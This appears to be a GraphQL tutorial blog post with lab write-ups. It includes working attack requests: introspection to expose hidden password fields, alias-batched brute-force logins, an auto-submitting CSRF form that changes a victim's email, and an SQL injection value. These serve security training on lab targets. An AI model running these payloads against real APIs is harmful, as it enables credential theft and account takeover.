Post

GraphQL

GraphQL

picname

Theory

What is GraphQL?

GraphQL is a query language and runtime for APIs developed by Facebook in 2012 and released as an open-source project in 2015. It provides a more flexible and efficient alternative to traditional REST APIs.

  • A query language for your API, allowing clients to request only the data they need.
  • A runtime for executing those queries against your data sources.
  • Strongly typed, using a schema to define the types and relationships in your data.

How GraphQL Works

Schema Definition Define a GraphQL schema on the server:

  • Types (e.g., User, Post)
  • Fields (e.g., User.name, Post.title)
  • Relationships between types
  • Queries, Mutations, and optionally Subscriptions

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
type User {
  id: ID!
  name: String!
  posts: [Post]
}

type Post {
  id: ID!
  title: String!
  author: User
}

type Query {
  getUser(id: ID!): User
}

Client Makes a Query (Usually a single POST request with a GraphQL query).

1
2
3
4
5
6
7
8
{
  getUser(id: "1") {
    name
    posts {
      title
    }
  }
}

Server Resolves the Query

Each field in the query is handled by a resolver function that fetches the corresponding data from a database, API, or other source.

Response is Returned

The server returns a JSON response that matches the shape of the query:

1
2
3
4
5
6
7
8
9
10
11
{
  "data": {
    "getUser": {
      "name": "Alice",
      "posts": [
        { "title": "GraphQL Basics" },
        { "title": "REST vs GraphQL" }
      ]
    }
  }
}

Key Benefits

  • Fetch only what you need — no over-fetching or under-fetching.
  • Single request — multiple resources can be fetched in one round trip.
  • Strongly typed — schema acts as documentation and validation.
  • Evolvable — you can add fields without breaking clients.
OperationPurpose
QueryRead data
MutationWrite/update/delete data
SubscriptionReal-time data updates (via WebSockets)

GraphQL vs REST

FeatureGraphQLREST
Data fetchingFlexible, one endpointMultiple fixed endpoints
Response shapeClient-definedServer-defined
VersioningOften unnecessaryCommon with /v1, /v2, etc.
Over-fetchingAvoidedCommon

Practice

Lab: Accessing private GraphQL posts (Portswigger Academy)

First thing let’s find a GraphQL endpoint, usually it will be something like these:

1
2
3
4
5
6
7
/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql
/graphql/api/v1
/graphql/v1
  • Next remember to use POST method and check content-type header to be an application/json, after that run a check query:

PING

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /graphql/v1 HTTP/2
Host: YOUR_HOST_NUM.web-security-academy.net
Cookie: session=Mvc1RYaKOWcTeUxlaKahv5GFnQekJfNg
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: "Some user agent"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Content-Type: application/json
Content-Length: 27

{
    "query": "{__typename}"
}

PONG

1
2
3
4
5
6
7
8
9
10
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 45

{
  "data": {
    "__typename": "query"
  }
}

And that’s a good sign!

  • Let’s run some probe query:

PING

1
2
3
4
5
6
7
POST /graphql/v1 HTTP/2
Host: YOUR_HOST_NUM.web-security-academy.net
...

{
    "query": "{__schema{queryType{name}}}"
}

PONG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 96

{
  "data": {
    "__schema": {
      "queryType": {
        "name": "query"
      }
    }
  }
}
  • Alternatively we could run this query: {__schema{types{name}}}
  • Next let’s run a full introspection query (from the GraphQL tab!)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
query IntrospectionQuery {
        __schema {
            queryType {
                name
            }
            mutationType {
                name
            }
            subscriptionType {
                name
            }
            types {
             ...FullType
            }
            directives {
                name
                description
                args {
                    ...InputValue
            }
            onOperation  #Often needs to be deleted to run query
            onFragment   #Often needs to be deleted to run query
            onField      #Often needs to be deleted to run query
            }
        }
    }

    fragment FullType on __Type {
        kind
        name
        description
        fields(includeDeprecated: true) {
            name
            description
            args {
                ...InputValue
            }
            type {
                ...TypeRef
            }
            isDeprecated
            deprecationReason
        }
        inputFields {
            ...InputValue
        }
        interfaces {
            ...TypeRef
        }
        enumValues(includeDeprecated: true) {
            name
            description
            isDeprecated
            deprecationReason
        }
        possibleTypes {
            ...TypeRef
        }
    }

    fragment InputValue on __InputValue {
        name
        description
        type {
            ...TypeRef
        }
        defaultValue
    }

    fragment TypeRef on __Type {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
                ofType {
                    kind
                    name
                }
            }
        }
    }
  • If you have some validation errors please be sure your query doesn’t contain these lines:
1
2
3
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
  • So previous query without these lines will gives us kind like this response but with more info:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 38009

{
  "data": {
    "__schema": {
      "queryType": {
        "name": "query"
      },
      "mutationType": null,
      "subscriptionType": null,
      "types": [
        {
          "kind": "OBJECT",
          "name": "BlogPost",
          "description": null,
          "fields": [
            {
              "name": "id",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Int",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "image",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            ...
  • Let’s paste full result into graphql-visualizer -> http://nathanrandal.com/graphql-visualizer/ to vizualize it and try to find a field we will need
  • Open any post to have a sample of query and next put it in the repeater and update query with field we need:
1
2
3
4
5
6
7
8
9
10
query getBlogPost($id: Int!) {
    getBlogPost(id: $id) {
        image
        title
        author
        date
        paragraphs
        postPassword
    }
}
  • In the main request window change ID till you find a post with a password and that’s it!

BugDB v2 (HackerOne)

First let’s check what we have (no need to find an endpoint here) using query:

1
{__schema{types{name}}}
  • Ok now we could craft a query to check all bugs:

PING

1
2
3
4
5
6
7
query{
  allBugs{
    id
    text
    private
  }
}

PONG

1
2
3
4
5
6
7
8
9
10
11
{
  "data": {
    "allBugs": [
      {
        "id": "QnVnczox",
        "text": "This is an example bug",
        "private": false
      }
    ]
  }
}
  • So we could see that there are hidden (private=true) bugs apparently
  • Let’s try to mutate second bug:
1
2
3
4
5
mutation{
  modifyBug(id:2,private: false){
    ok
  }
}
  • Now if we will check all bugs, we will see a new one (previously hidden) with a flag

Lab: Accidental exposure of private GraphQL fields (Portswigger Academy)

  • Actually this one would be almost the same as a first one - check what we have using the big one introspection query, put the data into visualizer, and then craft a query to expose a username/password (pay attention that we have variables as a separate object!):
1
2
3
4
5
6
7
query getUser($id: Int!) {
  getUser(id: $id) {
    id
    username
    password
  }
}
  • Set variables also:
1
{"id":1}
  • Done!

Lab: Finding a hidden GraphQL endpoint (Portswigger Academy)

  • First we need to find a graphql endpoint (default list from the beggining will be enough)
  • This lab should be solved using params ?query=%7b__schema%7btypes%7bname%7d%7d%7d HTTP/2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /api?query=%7b__schema%7btypes%7bname%7d%7d%7d HTTP/2
Host: 0ac300b204b04904801dd04c000f008c.web-security-academy.net
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

  • Next let’s run a full introspection query (from the GraphQL tab GraphQL -> Set Introspection query)
  • After it fails we could try to update it by just adding \n after __schema
1
2
3
4
5
query IntrospectionQuery {
   __schema
      {
       queryType {
...
  • Right click on that request and add this to a Target Site Map: GraphQL -> Save GraphQL queries to site map, after that in a Target Site Map we could find new query, mutation - to getUser and mutate (delete one)
  • So there we could use the first one to find carlos
1
2
3
4
5
6
query getUser($id: Int!) {
  getUser(id: $id) {
    id
    username
  }
}
  • Add variable: {"id":3}

  • And mutation to delete it:

1
2
3
4
5
6
7
8
mutation($input: DeleteOrganizationUserInput) {
  deleteOrganizationUser(input: $input) {
    user {
      id
      username
    }
  }
}
  • Add variable: {"input":{"id":3}} Done!

Lab: Bypassing GraphQL brute force protections (Portswigger Academy)

  • Start with an login attempt, notice graphQL endpoint in Target Site Map, next we could try an introseption query and add result to the Target Site Map
  • Then using mutation login query we could try a tip we get in the lab (producing similar functions to login) so query will looks kind of like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mutation login {

bruteforce0:login(input:{password: "123456", username: "carlos"}) {
        token
        success
    }


bruteforce1:login(input:{password: "password", username: "carlos"}) {
        token
        success
    }


bruteforce2:login(input:{password: "12345678", username: "carlos"}) {
        token
        success
    }
    ...
  • Just checkout the response for the right answer!

Lab: Performing CSRF exploits over GraphQL (Portswigger Academy)

  • Mutation for a email change could be converted to a mutation query with variables as a request params:
1
2
3
4
5
query=mutation changeEmail($input: ChangeEmailInput!) {
   changeEmail(input: $input) {
       email
   }
}&variables={"input":{"email":"arst@mail"}}
  • Pay attention that in the exploit server we have Content-Type: text/html so our payload shoud be HTML encoded:
1
2
3
4
5
6
7
8
9
10
11
12
<html>
  <body>
    <form action="https://0aae0039048abc31810a8ea200560020.web-security-academy.net/graphql/v1" method="POST">
      <input type="hidden" name="query" value="&#109;&#117;&#116;&#97;&#116;&#105;&#111;&#110;&#32;&#99;&#104;&#97;&#110;&#103;&#101;&#69;&#109;&#97;&#105;&#108;&#40;&#36;&#105;&#110;&#112;&#117;&#116;&#58;&#32;&#67;&#104;&#97;&#110;&#103;&#101;&#69;&#109;&#97;&#105;&#108;&#73;&#110;&#112;&#117;&#116;&#33;&#41;&#32;&#123;&#13;&#10;&#32;&#32;&#32;&#99;&#104;&#97;&#110;&#103;&#101;&#69;&#109;&#97;&#105;&#108;&#40;&#105;&#110;&#112;&#117;&#116;&#58;&#32;&#36;&#105;&#110;&#112;&#117;&#116;&#41;&#32;&#123;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#101;&#109;&#97;&#105;&#108;&#13;&#10;&#32;&#32;&#32;&#125;&#13;&#10;&#125;"/>
      <input type="hidden" name="variables" value="{&quot;input&quot;:{&quot;email&quot;:&quot;victim@mail&quot;}}" />
      <input type="submit" value="Submit" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

SQL injection inside of GraphQL (One extra lab from TryHackMe)

While providing query(for example for login page):

1
2
3
4
5
6
7
query ($username: String!) {
	users(username: $username) {
	    id
	    username
	    password
	}
}

We also could abuse parameters(variables) like this:

1
2
3
{
  "username":"test 'or '1'='1"
}

Securing GraphQL

  • Disable Introspection in Production
  • Limit Query Depth and Complexity
  • Use Parameterised Queries for Inputs
This post is licensed under CC BY 4.0 by the author.